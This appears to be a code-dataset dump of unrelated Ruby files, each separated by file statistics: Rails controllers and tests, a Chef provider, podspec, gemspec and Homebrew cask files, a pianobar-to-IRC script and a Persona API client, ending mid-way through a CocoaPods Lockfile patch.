config.default_retry_count = 3
config.display_try_failure_messages = true
config.exceptions_to_retry = [Net::ReadTimeout]
if Bullet.enable?
config.before(:each) { Bullet.start_request }
config.after :each do
Bullet.perform_out_of_channel_notifications if Bullet.notification?
Bullet.end_request
end
end
end
| 36.217742 | 113 | 0.7446 |
bba9e232d8f614e03f88b18f062aabebe3918729 | 1,070 | module Shoppe
class CountriesController < Shoppe::ApplicationController
before_filter { @active_nav = :countries }
before_filter { params[:id] && @country = Shoppe::Country.find(params[:id]) }
def index
@countries = Shoppe::Country.ordered
end
def new
@country = Shoppe::Country.new
end
def create
@country = Shoppe::Country.new(safe_params)
if @country.save
redirect_to :countries, flash: { notice: t('shoppe.countries.create_notice') }
else
render action: 'new'
end
end
def edit
end
def update
if @country.update(safe_params)
redirect_to [:edit, @country], flash: { notice: t('shoppe.countries.update_notice') }
else
render action: 'edit'
end
end
def destroy
@country.destroy
redirect_to :countries, flash: { notice: t('shoppe.countries.destroy_notice') }
end
private
def safe_params
params[:country].permit(:name, :code2, :code3, :continent, :tld, :currency, :eu_member)
end
end
end
| 23.26087 | 93 | 0.629907 |
28b26df465e16ee1f67cb4cad8a0f6e633cf5119 | 605 | class ApplicationController < ActionController::Base
# Prevent CSRF attacks by raising an exception.
# For APIs, you may want to use :null_session instead.
protect_from_forgery with: :exception
before_filter :authenticate if ENV["LOCK_CITYVOICE"] == "true"
before_filter :load_app_content
def authenticate
authenticate_or_request_with_http_basic('Administration') do |username, password|
username == ENV["CITYVOICE_LOCK_USERNAME"] && password == ENV["CITYVOICE_LOCK_PASSWORD"]
end
end
def load_app_content
@content = Rails.application.config.app_content_set
end
end
| 31.842105 | 94 | 0.766942 |
18c0ae56b757f766581208dae72425f2b09ca8bc | 3,331 | #
# Cookbook Name:: aem
# Provider:: farm
#
# Copyright 2012, Tacit Knowledge, Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#This provider creates or removes a farm_*.any file for AEM dispatcher
action :add do
farm_name = new_resource.farm_name
vars = {}
#need the right kind of "empty"
var_list = { :client_headers => :array, :virtual_hosts => :array,
:renders => :array, :statistics => :array,
:filter_rules => :hash, :cache_rules=> :hash,
:invalidation_rules => :hash, :allowed_clients => :hash,
:cache_root => :scalar, :farm_dir => :scalar,
:farm_name => :scalar, :cache_opts => :array,
:session_mgmt => :hash, :enable_session_mgmt => :scalar }
empty = { :array => [], :hash => {}, :scalar => nil }
#take value passed to provider, or node attribute, or empty
var_list.keys.each do |var|
type = var_list[var]
nothing = empty[type]
vars[var] = new_resource.send(var) || node[:aem][:dispatcher][var] || nothing
end
raise "farm_dir attribute is required to create a farm." unless vars[:farm_dir]
#If this is a dynamic cluster, search the chef database for the members
if new_resource.dynamic_cluster
vars[:renders] = []
role = new_resource.cluster_role
cluster_name = new_resource.cluster_name
cluster_type = new_resource.cluster_type
timeout = new_resource.render_timeout
renders = search(:node, %Q(role:"#{role}" AND aem_cluster_name:"#{cluster_name}"))
#Don't want to rely on what order the search results come back in
renders.sort! {|a,b| a[:hostname] <=> b[:hostname]}
renders.each do |r|
unless r[:aem][cluster_type]
raise "Node #{r[:fqdn]} attribute :aem=>:#{cluster_type}=>:port does not exist"
end
vars[:renders] << {
:name => r[:fqdn],
:hostname => r[:ipaddress],
:port => r[:aem][cluster_type][:port],
:timeout => timeout
}
end
#Don't ever return an empty renders list, or apache won't start and
# subsequent chef runs will fail.
if vars[:renders].empty?
vars[:renders] << {
:name => "NoClusterMembersFound",
:hostname => "localhost",
:port => "4503",
:timeout => "1"
}
end
end
template "#{vars[:farm_dir]}/farm_#{farm_name}.any" do
cookbook 'aem'
source 'farm.any.erb'
group node[:apache][:root_group]
mode '0664'
variables(vars)
notifies :restart, resources(:service => "apache2")
end
end
action :remove do
farm_name = new_resource.farm_name || node[:aem][:dispatcher][:farm_name]
farm_dir = new_resource.farm_dir || node[:aem][:dispatcher][:farm_dir]
file "#{farm_dir}/farm_#{farm_name}.any" do
action :delete
notifies :restart, resources(:service => "apache2")
end
end
| 35.43617 | 87 | 0.649054 |
4a2a99350ce0c10b611b4ebfa5ba3423ce6605ea | 5,112 | #
# Be sure to run `pod spec lint BLAPIManagers.podspec' to ensure this is a
# valid spec and to remove all comments including this before submitting the spec.
#
# To learn more about Podspec attributes see http://docs.cocoapods.org/specification.html
# To see working Podspecs in the CocoaPods repo see https://github.com/CocoaPods/Specs/
#
Pod::Spec.new do |s|
# ――― Spec Metadata ―――――――――――――――――――――――――――――――――――――――――――――――――――――――――― #
#
# These will help people to find your library, and whilst it
# can feel like a chore to fill in it's definitely to your advantage. The
# summary should be tweet-length, and the description more in depth.
#
s.name = "LJLib"
s.version = "1.0.1"
s.summary = "LJLib."
# This description is used to generate tags and improve search results.
# * Think: What does it do? Why did you write it? What is the focus?
# * Try to keep it short, snappy and to the point.
# * Write the description between the DESC delimiters below.
# * Finally, don't worry about the indent, CocoaPods strips it!
s.description = <<-DESC
this is LJLib
DESC
s.homepage = "http://123.56.222.33/mobile/LJLib"
# s.screenshots = "www.example.com/screenshots_1.gif", "www.example.com/screenshots_2.gif"
# ――― Spec License ――――――――――――――――――――――――――――――――――――――――――――――――――――――――――― #
#
# Licensing your code is important. See http://choosealicense.com for more info.
# CocoaPods will detect a license file if there is a named LICENSE*
# Popular ones are 'MIT', 'BSD' and 'Apache License, Version 2.0'.
#
# s.license = "MIT (example)"
s.license = { :type => "MIT", :file => "FILE_LICENSE" }
# ――― Author Metadata ――――――――――――――――――――――――――――――――――――――――――――――――――――――――― #
#
# Specify the authors of the library, with email addresses. Email addresses
# of the authors are extracted from the SCM log. E.g. $ git log. CocoaPods also
# accepts just a name if you'd rather not provide an email address.
#
# Specify a social_media_url where others can refer to, for example a twitter
# profile URL.
#
s.author = { "CasaTaloyum" => "[email protected]" }
# Or just: s.author = "CasaTaloyum"
# s.authors = { "CasaTaloyum" => "[email protected]" }
# s.social_media_url = "http://twitter.com/CasaTaloyum"
# ――― Platform Specifics ――――――――――――――――――――――――――――――――――――――――――――――――――――――― #
#
# If this Pod runs only on iOS or OS X, then specify the platform and
# the deployment target. You can optionally include the target after the platform.
#
# s.platform = :ios
s.platform = :ios, "7.0"
# When using multiple platforms
# s.ios.deployment_target = "5.0"
# s.osx.deployment_target = "10.7"
# s.watchos.deployment_target = "2.0"
# s.tvos.deployment_target = "9.0"
# ――― Source Location ―――――――――――――――――――――――――――――――――――――――――――――――――――――――――― #
#
# Specify the location from where the source should be retrieved.
# Supports git, hg, bzr, svn and HTTP.
#
s.source = { :git => "http://123.56.222.33/mobile/LJLib.git", :tag => s.version.to_s }
# ――― Source Code ―――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――― #
#
# CocoaPods is smart about how it includes source code. For source files
# giving a folder will include any swift, h, m, mm, c & cpp files.
# For header files it will include any header in the folder.
# Not including the public_header_files will make all headers public.
#
s.source_files = "LJLib/LJLib/**/*.{h,m}"
# s.exclude_files = "Classes/Exclude"
# s.public_header_files = "Classes/**/*.h"
# ――― Resources ―――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――― #
#
# A list of resources included with the Pod. These are copied into the
# target bundle with a build phase script. Anything else will be cleaned.
# You can preserve files from being cleaned, please don't preserve
# non-essential files like tests, examples and documentation.
#
# s.resource = "icon.png"
# s.resources = "Resources/*.png"
# s.preserve_paths = "FilesToSave", "MoreFilesToSave"
# ――― Project Linking ―――――――――――――――――――――――――――――――――――――――――――――――――――――――――― #
#
# Link your library with frameworks, or libraries. Libraries do not include
# the lib prefix of their name.
#
# s.framework = "SomeFramework"
# s.frameworks = "SomeFramework", "AnotherFramework"
# s.library = "iconv"
# s.libraries = "iconv", "xml2"
# ――― Project Settings ――――――――――――――――――――――――――――――――――――――――――――――――――――――――― #
#
# If your library depends on compiler flags you can set them in the xcconfig hash
# where they will only apply to your library. If you depend on other Podspecs
# you can include multiple dependencies to ensure it works.
s.requires_arc = true
# s.xcconfig = { "HEADER_SEARCH_PATHS" => "$(SDKROOT)/usr/include/libxml2" }
# s.dependency "BLNetworking"
# s.dependency "BLAPIManagers"
# s.dependency "BLMediator"
end
| 36.255319 | 94 | 0.59018 |
e9717a72318f79b4acc6ffa797d2f6b39268b909 | 812 | Gem::Specification.new do |spec|
spec.name = "rubocop-govuk"
spec.version = "4.1.0"
spec.authors = ["Government Digital Service"]
spec.email = ["[email protected]"]
spec.summary = "RuboCop GOV.UK"
spec.description = "Shared RuboCop rules for Ruby projects in GOV.UK"
spec.homepage = "https://github.com/alphagov/rubocop-govuk"
spec.license = "MIT"
spec.files = Dir["config/**/*", "*.md"]
spec.required_ruby_version = ">= 2.6"
spec.add_development_dependency "rake", "~> 13"
spec.add_dependency "rubocop", "1.21.0"
spec.add_dependency "rubocop-ast", "1.12.0"
spec.add_dependency "rubocop-rails", "2.12.2"
spec.add_dependency "rubocop-rake", "0.6.0"
spec.add_dependency "rubocop-rspec", "2.5.0"
end
| 33.833333 | 73 | 0.640394 |
bbd2d13945fcf07e11b4fad3091fa07d287310f6 | 388 | cask 'piskel' do
version '0.5.5.1'
sha256 '88a8f90bdbd852c4b9d957b02f9af67fd8c076ababdf4009ad8b4985a90f38e3'
# dropboxusercontent.com is the official download host per the vendor homepage
url "https://dl.dropboxusercontent.com/u/17803671/piskel/standalone/mac/piskel-#{version}.dmg"
name 'Piskel'
homepage 'http://www.piskelapp.com'
license :affero
app 'Piskel.app'
end
| 29.846154 | 96 | 0.770619 |
ed3a7d0c345aa00dd40041ce3cee9672e49e13f0 | 132 | module Hummus
class << self
def setup(hash)
Hummus::Hook.dup.tap { |h| h.stash = Chickpea.new(hash) }
end
end
end
| 16.5 | 63 | 0.606061 |
abdac054cf1c6be6fff7d3b249e9103942cdee20 | 1,857 | #!/usr/bin/ruby
# pianobar event script to make rbot send currently playing song to an IRC
# channel
# Copyright (c) 2010
# Matthew M. Boedicker <[email protected]>
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
# The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
# THE SOFTWARE.
# for setting up rbot-remote see rbot/bin/rbot-remote
# add this script to ~/.config/pianobar/config by adding
# event_command = /home/user/.config/pianobar/rbot.rb
# make sure these are quoted correctly for popen
rbot_remote = '/home/user/src/rbot/bin/rbot-remote'
rbot_user = 'remote'
rbot_password = 'secret'
channel = '#current'
event = ARGV.first
if event == 'songstart'
d = {}
STDIN.each_line { |line| d.store(*line.chomp.split('=', 2)) }
IO.popen("#{rbot_remote} -u #{rbot_user} -p #{rbot_password} -d '#{channel}'",
'w') do |p|
p.write("now playing \"#{d['title']}\" by \"#{d['artist']}\"")
end
end
| 36.411765 | 80 | 0.736134 |
21d7aa816dc20cb4ebb3bc860109dcf629f30098 | 3,878 | require_relative "test_helper"
class UserMailer < ActionMailer::Base
default from: "[email protected]"
after_action :prevent_delivery_to_guests, only: [:welcome2]
def welcome
mail to: "[email protected]", subject: "Hello", body: "World"
end
def welcome2
mail to: "[email protected]", subject: "Hello", body: "World"
end
def welcome3
track message: false
mail to: "[email protected]", subject: "Hello", body: "World"
end
def welcome4
html_message('<a href="http://example.org">Hi<a>')
end
def welcome5
html_message('<a href="http://example.org?baz[]=1&baz[]=2">Hi<a>')
end
def heuristic_parse
track heuristic_parse: true
html_message('<a href="example.org">Hi<a>')
end
def mailto
track heuristic_parse: true
html_message('<a href="mailto:[email protected]">Email Us</a>')
end
def app_link
track heuristic_parse: true
html_message('<a href="fb://profile/33138223345">Email Us</a>')
end
def welcome4_heuristic
track heuristic_parse: true
html_message('<a href="http://example.org">Hi<a>')
end
def welcome5_heuristic
track heuristic_parse: true
html_message('<a href="http://example.org?baz[]=1&baz[]=2">Hi<a>')
end
private
def prevent_delivery_to_guests
mail.perform_deliveries = false
end
def html_message(html)
track click: false
mail to: "[email protected]", subject: "Hello" do |format|
format.html { render plain: html }
end
end
end
class MailerTest < Minitest::Test
def setup
Ahoy::Message.delete_all
end
def test_basic
assert_message :welcome
end
def test_prevent_delivery
assert_message :welcome2
assert_nil Ahoy::Message.first.sent_at
end
def test_no_message
UserMailer.welcome3.to
assert_equal 0, Ahoy::Message.count
end
def test_utm_params
message = UserMailer.welcome4
body = message.body.to_s
assert_match "utm_campaign=welcome4", body
assert_match "utm_medium=email", body
assert_match "utm_source=user_mailer", body
end
def test_array_params
message = UserMailer.welcome5
body = message.body.to_s
assert_match "baz%5B%5D=1&baz%5B%5D=2", body
end
def test_heuristic_parse
# Should convert the URI fragment into a URI
message = UserMailer.heuristic_parse
body = message.body.to_s
assert_match "http://example.org", body
end
def test_mailto
# heuristic parse should ignore the mailto link
message = UserMailer.mailto
body = message.body.to_s
assert_match "<a href=\"mailto:[email protected]\">", body
end
def test_app_link
# heuristic parse should ignore the app link
message = UserMailer.app_link
body = message.body.to_s
assert_match "<a href=\"fb://profile/33138223345\">", body
end
def test_utm_params_heuristic_parse
# heuristic parse should not have unexpected side effects
message = UserMailer.welcome4_heuristic
body = message.body.to_s
assert_match "utm_campaign=welcome4", body
assert_match "utm_medium=email", body
assert_match "utm_source=user_mailer", body
end
def test_array_params_heuristic_parse
# heuristic parse should not have unexpected side effects
message = UserMailer.welcome5_heuristic
body = message.body.to_s
assert_match "baz%5B%5D=1&baz%5B%5D=2", body
end
private
def assert_message(method)
message = UserMailer.send(method)
message.deliver_now
ahoy_message = Ahoy::Message.first
assert_equal 1, Ahoy::Message.count
assert_equal "[email protected]", ahoy_message.to
assert_equal "UserMailer##{method}", ahoy_message.mailer
assert_equal "Hello", ahoy_message.subject
assert_equal "user_mailer", ahoy_message.utm_source
assert_equal "email", ahoy_message.utm_medium
assert_equal method.to_s, ahoy_message.utm_campaign
end
end
| 25.513158 | 74 | 0.713254 |
1c2c56d471c1cd7b19adcbeb564f512982c8224e | 43 | module Limerickify
VERSION = "0.1.2"
end
| 10.75 | 19 | 0.697674 |
ffefff57d2e6c7ee988001a6f20a1ecd90b24685 | 2,128 | class Mediaconch < Formula
desc "Conformance checker and technical metadata reporter"
homepage "https://mediaarea.net/MediaConch"
url "https://mediaarea.net/download/binary/mediaconch/18.03.2/MediaConch_CLI_18.03.2_GNU_FromSource.tar.bz2"
version "18.03.2"
sha256 "8f8f31f1c3eb55449799ebb2031ef373934a0a9826ce6c2b2bdd32dacbf5ec4c"
revision 1
bottle do
cellar :any
sha256 "9d59b85fecc5d5caba622fe57358caab23c8ea904954a137b99e66dd4f7fedec" => :mojave
sha256 "d59cfb9ac07ffb7eacc4c7970c38676a3909f0966481b99c745735bf87db7b8e" => :high_sierra
sha256 "fdb3934174a68121357c21d4f0800e8bbbaa6a296f3386ab52e5298fde96a6b6" => :sierra
sha256 "829fac58efbe3037a628e0cb75c0cd9c3c81c8d6afd560705c47278305dcb457" => :x86_64_linux
end
depends_on "pkg-config" => :build
depends_on "jansson"
depends_on "libevent"
depends_on "sqlite"
uses_from_macos "libxslt"
uses_from_macos "curl"
def install
cd "ZenLib/Project/GNU/Library" do
args = ["--disable-debug",
"--disable-dependency-tracking",
"--enable-shared",
"--enable-static",
"--prefix=#{prefix}",
# mediaconch installs libs/headers at the same paths as mediainfo
"--libdir=#{lib}/mediaconch",
"--includedir=#{include}/mediaconch"]
system "./configure", *args
system "make", "install"
end
cd "MediaInfoLib/Project/GNU/Library" do
args = ["--disable-debug",
"--disable-dependency-tracking",
"--enable-static",
"--enable-shared",
"--with-libcurl",
"--prefix=#{prefix}",
"--libdir=#{lib}/mediaconch",
"--includedir=#{include}/mediaconch"]
system "./configure", *args
system "make", "install"
end
cd "MediaConch/Project/GNU/CLI" do
system "./configure", "--disable-debug", "--disable-dependency-tracking",
"--prefix=#{prefix}"
system "make", "install"
end
end
test do
pipe_output("#{bin}/mediaconch", test_fixtures("test.mp3"))
end
end
| 34.322581 | 110 | 0.642857 |
ac85902c7c214e20c61ae7692639e5a306008cec | 542 | require 'rubygems'
require 'pp'
filename = "cia_world_factbook_2010.txt"
extractedir = "world_factbook"
FileUtils::mkdir(extractedir) if !File::exist? "world_factbook"
title = nil; text = ""
File.open(filename,"r").each_line do |l|
if (l =~ /^@/) then
l.strip!
if (title) then
# write old file
fd = File.open("#{extractedir}/#{title.gsub(/ /,'_')}.txt","w");
fd.write(title+"\n")
fd.write(text+"\n");
fd.close
end
title = l.sub(/@/,"");
text = ""
else
text = text + l
end
end
| 18.689655 | 70 | 0.575646 |
b970e7662ce1d6753f2d8cff2ed27c6c0d1083e8 | 140 | require 'test_helper'
class HeadingsControllerTest < ActionDispatch::IntegrationTest
# test "the truth" do
# assert true
# end
end
| 17.5 | 62 | 0.742857 |
21e587288f54a05ecba414dd2255d29767dba237 | 7,534 | # frozen_string_literal: true
require 'spec_helper'
RSpec.describe 'Gcp Cluster', :js do
include GoogleApi::CloudPlatformHelpers
let(:project) { create(:project) }
let(:user) { create(:user) }
before do
project.add_maintainer(user)
gitlab_sign_in(user)
allow(Projects::ClustersController).to receive(:STATUS_POLLING_INTERVAL) { 100 }
end
def submit_form
execute_script('document.querySelector(".js-gke-cluster-creation-submit").removeAttribute("disabled")')
execute_script('document.querySelector(".js-gke-cluster-creation-submit").click()')
end
context 'when user has signed with Google' do
let(:project_id) { 'test-project-1234' }
before do
allow_any_instance_of(Projects::ClustersController)
.to receive(:token_in_session).and_return('token')
allow_any_instance_of(Projects::ClustersController)
.to receive(:expires_at_in_session).and_return(1.hour.since.to_i.to_s)
end
context 'when user does not have a cluster and visits cluster index page' do
before do
visit project_clusters_path(project)
click_link 'Integrate with a cluster certificate'
click_link 'Create new cluster'
click_link 'Google GKE'
end
it 'highlights Google GKE logo' do
expect(page).to have_css('.js-create-gcp-cluster-button.active')
end
context 'when user filled form with valid parameters' do
subject { submit_form }
before do
allow_any_instance_of(GoogleApi::CloudPlatform::Client)
.to receive(:projects_zones_clusters_create) do
OpenStruct.new(
self_link: 'projects/gcp-project-12345/zones/us-central1-a/operations/ope-123',
status: 'RUNNING'
)
end
allow(WaitForClusterCreationWorker).to receive(:perform_in).and_return(nil)
expect(page).to have_css('.js-gcp-project-id-dropdown')
execute_script('document.querySelector(".js-gcp-project-id-dropdown input").setAttribute("type", "text")')
execute_script('document.querySelector(".js-gcp-zone-dropdown input").setAttribute("type", "text")')
execute_script('document.querySelector(".js-gcp-machine-type-dropdown input").setAttribute("type", "text")')
fill_in 'cluster[name]', with: 'dev-cluster'
fill_in 'cluster[provider_gcp_attributes][gcp_project_id]', with: 'gcp-project-123'
fill_in 'cluster[provider_gcp_attributes][zone]', with: 'us-central1-a'
fill_in 'cluster[provider_gcp_attributes][machine_type]', with: 'n1-standard-2'
end
it 'users sees a form with the GCP token' do
expect(page).to have_selector(:css, 'form[data-token="token"]')
end
it 'user sees a cluster details page and creation status' do
subject
expect(page).to have_content('Kubernetes cluster is being created...')
Clusters::Cluster.last.provider.make_created!
expect(page).to have_content('Kubernetes cluster was successfully created')
end
it 'user sees a error if something wrong during creation' do
subject
expect(page).to have_content('Kubernetes cluster is being created...')
Clusters::Cluster.last.provider.make_errored!('Something wrong!')
expect(page).to have_content('Something wrong!')
end
end
context 'when user filled form with invalid parameters' do
before do
submit_form
end
it 'user sees a validation error' do
expect(page).to have_css('.gl-field-error')
end
end
end
context 'when user does have a cluster and visits cluster page' do
let(:cluster) { create(:cluster, :provided_by_gcp, projects: [project]) }
before do
visit project_cluster_path(project, cluster)
end
it 'user sees a cluster details page' do
expect(page).to have_button('Save changes')
expect(page.find(:css, '.cluster-name').value).to eq(cluster.name)
end
context 'when user disables the cluster' do
before do
page.find(:css, '.js-cluster-enable-toggle-area .js-project-feature-toggle').click
page.within('.js-cluster-details-form') { click_button 'Save changes' }
end
it 'user sees the successful message' do
expect(page).to have_content('Kubernetes cluster was successfully updated.')
end
end
context 'when user changes cluster parameters' do
before do
fill_in 'cluster_platform_kubernetes_attributes_namespace', with: 'my-namespace'
page.within('.js-provider-details') { click_button 'Save changes' }
end
it 'user sees the successful message' do
expect(page).to have_content('Kubernetes cluster was successfully updated.')
expect(cluster.reload.platform_kubernetes.namespace).to eq('my-namespace')
end
end
context 'when a user adds an existing cluster' do
before do
visit project_clusters_path(project)
click_link 'Connect cluster with certificate'
click_link 'Connect existing cluster'
end
it 'user sees the "Environment scope" field' do
expect(page).to have_css('#cluster_environment_scope')
end
end
context 'when user destroys the cluster' do
before do
click_link 'Advanced Settings'
click_button 'Remove integration and resources'
fill_in 'confirm_cluster_name_input', with: cluster.name
click_button 'Remove integration'
end
it 'user sees creation form with the successful message' do
expect(page).to have_content('Kubernetes cluster integration was successfully removed.')
expect(page).to have_link('Integrate with a cluster certificate')
end
end
end
end
context 'when user has not dismissed GCP signup offer' do
before do
visit project_clusters_path(project)
end
it 'user sees offer on cluster index page' do
expect(page).to have_css('.gcp-signup-offer')
end
it 'user sees offer on cluster create page' do
click_link 'Integrate with a cluster certificate'
expect(page).to have_css('.gcp-signup-offer')
end
end
context 'when user has dismissed GCP signup offer' do
before do
visit project_clusters_path(project)
end
it 'user does not see offer after dismissing' do
expect(page).to have_css('.gcp-signup-offer')
find('.gcp-signup-offer .js-close').click
wait_for_requests
click_link 'Integrate with a cluster certificate'
expect(page).not_to have_css('.gcp-signup-offer')
end
end
context 'when third party offers are disabled', :clean_gitlab_redis_shared_state do
let(:admin) { create(:admin) }
before do
stub_env('IN_MEMORY_APPLICATION_SETTINGS', 'false')
sign_in(admin)
gitlab_enable_admin_mode_sign_in(admin)
visit general_admin_application_settings_path
end
it 'user does not see the offer' do
page.within('.as-third-party-offers') do
click_button 'Expand'
check 'Do not display offers from third parties'
click_button 'Save changes'
end
expect(page).to have_content "Application settings saved successfully"
visit project_clusters_path(project)
expect(page).not_to have_css('.gcp-signup-offer')
end
end
end
| 32.899563 | 118 | 0.66618 |
6adb8c71a1f928bd2c0a926af266b36d12f6a776 | 68 | require 'spree_core'
require 'spree_variants_promotion_rule/engine'
| 22.666667 | 46 | 0.867647 |
62959455f8ef4b3fae3718c060966022631f3aea | 6,210 | require 'test_helper'
module SerializationScopeTesting
class User < ActiveModelSerializers::Model
attr_accessor :id, :name, :admin
def admin?
admin
end
end
class Comment < ActiveModelSerializers::Model
attr_accessor :id, :body
end
class Post < ActiveModelSerializers::Model
attr_accessor :id, :title, :body, :comments
end
class PostSerializer < ActiveModel::Serializer
attributes :id, :title, :body, :comments
def body
"The 'scope' is the 'current_user': #{scope == current_user}"
end
def comments
if current_user.admin?
[Comment.new(id: 1, body: 'Admin')]
else
[Comment.new(id: 2, body: 'Scoped')]
end
end
def json_key
'post'
end
end
class PostTestController < ActionController::Base
attr_accessor :current_user
def render_post_by_non_admin
self.current_user = User.new(id: 3, name: 'Pete', admin: false)
render json: new_post, serializer: serializer, adapter: :json
end
def render_post_by_admin
self.current_user = User.new(id: 3, name: 'Pete', admin: true)
render json: new_post, serializer: serializer, adapter: :json
end
private
def new_post
Post.new(id: 4, title: 'Title')
end
def serializer
PostSerializer
end
end
class PostViewContextSerializer < PostSerializer
def body
"The 'scope' is the 'view_context': #{scope == view_context}"
end
def comments
if view_context.controller.current_user.admin?
[Comment.new(id: 1, body: 'Admin')]
else
[Comment.new(id: 2, body: 'Scoped')]
end
end
end
class DefaultScopeTest < ActionController::TestCase
tests PostTestController
def test_default_serialization_scope
assert_equal :current_user, @controller._serialization_scope
end
def test_default_serialization_scope_object
assert_equal @controller.current_user, @controller.serialization_scope
end
def test_default_scope_non_admin
get :render_post_by_non_admin
expected_json = {
post: {
id: 4,
title: 'Title',
body: "The 'scope' is the 'current_user': true",
comments: [
{ id: 2, body: 'Scoped' }
]
}
}.to_json
assert_equal expected_json, @response.body
end
def test_default_scope_admin
get :render_post_by_admin
expected_json = {
post: {
id: 4,
title: 'Title',
body: "The 'scope' is the 'current_user': true",
comments: [
{ id: 1, body: 'Admin' }
]
}
}.to_json
assert_equal expected_json, @response.body
end
end
class SerializationScopeTest < ActionController::TestCase
class PostViewContextTestController < PostTestController
serialization_scope :view_context
private
def serializer
PostViewContextSerializer
end
end
tests PostViewContextTestController
def test_defined_serialization_scope
assert_equal :view_context, @controller._serialization_scope
end
def test_defined_serialization_scope_object
assert_equal @controller.view_context.class, @controller.serialization_scope.class
end
def test_serialization_scope_non_admin
get :render_post_by_non_admin
expected_json = {
post: {
id: 4,
title: 'Title',
body: "The 'scope' is the 'view_context': true",
comments: [
{ id: 2, body: 'Scoped' }
]
}
}.to_json
assert_equal expected_json, @response.body
end
def test_serialization_scope_admin
get :render_post_by_admin
expected_json = {
post: {
id: 4,
title: 'Title',
body: "The 'scope' is the 'view_context': true",
comments: [
{ id: 1, body: 'Admin' }
]
}
}.to_json
assert_equal expected_json, @response.body
end
end
class NilSerializationScopeTest < ActionController::TestCase
class PostViewContextTestController < ActionController::Base
serialization_scope nil
attr_accessor :current_user
def render_post_with_no_scope
self.current_user = User.new(id: 3, name: 'Pete', admin: false)
render json: new_post, serializer: PostSerializer, adapter: :json
end
def render_post_with_passed_in_scope
self.current_user = User.new(id: 3, name: 'Pete', admin: false)
render json: new_post, serializer: PostSerializer, adapter: :json, scope: current_user, scope_name: :current_user
end
def render_post_with_passed_in_scope_without_scope_name
self.current_user = User.new(id: 3, name: 'Pete', admin: false)
render json: new_post, serializer: PostSerializer, adapter: :json, scope: current_user
end
private
def new_post
Post.new(id: 4, title: 'Title')
end
end
tests PostViewContextTestController
def test_nil_serialization_scope
assert_nil @controller._serialization_scope
end
def test_nil_serialization_scope_object
assert_nil @controller.serialization_scope
end
def test_nil_scope
exception_matcher = /current_user/
exception = assert_raises(NameError) do
get :render_post_with_no_scope
end
assert_match exception_matcher, exception.message
end
def test_serialization_scope_is_and_nil_scope_passed_in_current_user
get :render_post_with_passed_in_scope
expected_json = {
post: {
id: 4,
title: 'Title',
body: "The 'scope' is the 'current_user': true",
comments: [
{ id: 2, body: 'Scoped' }
]
}
}.to_json
assert_equal expected_json, @response.body
end
def test_serialization_scope_is_nil_and_scope_passed_in_current_user_without_scope_name
exception_matcher = /current_user/
exception = assert_raises(NameError) do
get :render_post_with_passed_in_scope_without_scope_name
end
assert_match exception_matcher, exception.message
end
end
end
| 27 | 121 | 0.650403 |
26dc25ca2e6a27e90713646cbb8aad0699ee4dc9 | 2,472 | # frozen_string_literal: true
# Copyright (c) Aptos
# SPDX-License-Identifier: Apache-2.0
require 'httparty'
class PersonaURL
# @param [URI] parsed_url
def initialize(parsed_url)
@parsed = parsed_url
query = parsed_url.query
@query = if query.present?
CGI.parse(query)
else
{}
end
end
# @param [String] key
# @param [Object] value
# @return [PersonaURL]
def set_param(key, value)
@query[key] = value
self
end
def to_s
@parsed.query = URI.encode_www_form(@query)
@parsed.to_s
end
end
module PersonaHelper
FirstInquiryResult = Struct.new(:exists?, :inquiry_id, :status)
class PersonaClient
include HTTParty
base_uri 'https://withpersona.com/api/v1/'
headers({ 'Authorization' => "Bearer #{ENV.fetch('PERSONA_API_KEY', 'test')}", 'Persona-Version' => '2021-05-14',
'Key-Inflection' => 'snake_case' })
# TODO: support idempotency key (user.external_id is fine)
# @param [String] reference_id
# @return [FirstInquiryResult, nil]
def inquiry_id_from_reference_id(reference_id)
inquiries = get_inquiries(reference_id:)
first_inquiry = inquiries['data']&.first
if first_inquiry.present?
FirstInquiryResult.new(true, first_inquiry['id'], first_inquiry['attributes']['status'])
else
FirstInquiryResult.new(false, nil, nil)
end
end
# https://docs.withpersona.com/reference/list-all-inquiries
# @param [Integer] after
# @param [String] account_id
# @param [String] reference_id
def get_inquiries(after: nil, account_id: nil, reference_id: nil)
query = {
'page[after]' => after,
'filter[account-id]' => account_id,
'filter[reference-id]' => reference_id,
'page[size]' => 50
}
self.class.get('/inquiries', { query: })
end
# https://docs.withpersona.com/reference/apiv1inquiriesinquiry-id
def inquiry(inquiry_id)
self.class.get("/inquiries/#{inquiry_id}")
end
end
class PersonaInvite
# @param [User] user
def initialize(user)
@user = user
end
def url
PersonaURL.new(URI.parse(base_url))
.set_param('reference-id', @user.external_id)
end
private
def base_url
ENV.fetch('PERSONA_URL_PREFIX', ' https://withpersona.com/verify?inquiry-template-id=itmpl_X1pKpnefCS8wShXJBtXyfRSf&environment=sandbox')
end
end
end
| 26.021053 | 143 | 0.642799 |
bf05e92f336e1f4a15a933c0e5fc6e7013895b13 | 971 | module Pod
class Lockfile
def freered?
frozen_pods = @internal_data['FROZENPODS']
if !frozen_pods || frozen_pods.count == 0
return false
end
return true
end
def frozen_pod_names
@internal_data['FROZENPODS'] || []
end
class << self
public
def generrate_by_freezer(podfile, specs, checkout_options, spec_repos = {}, frozen_pods=[])
hash = {
